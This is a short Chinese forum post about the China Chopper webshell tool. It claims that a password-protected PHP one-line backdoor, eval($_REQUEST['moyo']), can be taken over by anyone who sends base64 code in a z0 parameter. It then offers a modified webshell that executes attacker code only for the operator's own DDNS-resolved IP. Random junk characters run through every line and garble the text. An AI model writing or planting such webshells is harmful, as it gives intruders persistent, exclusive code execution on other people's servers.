今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞
' z# c" S/ t1 z+ E( r, p. I
8 n6 n4 Y M, l4 a- }就算你设置了密码,使用了eval($_REQUEST['moyo']);
& T! }( o5 l1 m, v# N; ?( [, X' K% b! [ b
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门0 q* |. h: y( K3 p/ O
. f; N0 d( q, m! [3 f/ G因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));. F C' k: X6 a2 {- O0 N
4 K% O* o0 ]$ ]: ]; `( H直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了
6 t9 {) |4 w+ v2 e; [( v
$ Y1 [# n8 g( L3 G不知道是设计缺陷还是故意留的后门
( }$ X- G1 T: J/ _6 b% p( V1 J! i7 U4 l: ]/ y" ]$ P- R
如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用
" N; i6 V# Y4 I% |6 r" f% d1 E9 Y i' H
本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org
) @5 n5 g6 \9 M5 D
8 j& n) g" |5 U+ H' }8 X \; O) a然后一句话后门这样写
. K' O5 l) D$ J
% ]7 ^$ W9 E5 g9 w7 T5 K<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
1 t0 B+ ]4 \, u, z0 \: \3 ~4 X; _这样就可以让一句话后门只允许自己的电脑连接了6 Z. g4 c# w/ D0 l2 ^
% K) L* n; |' F2 J* k3 {/ i4 D
|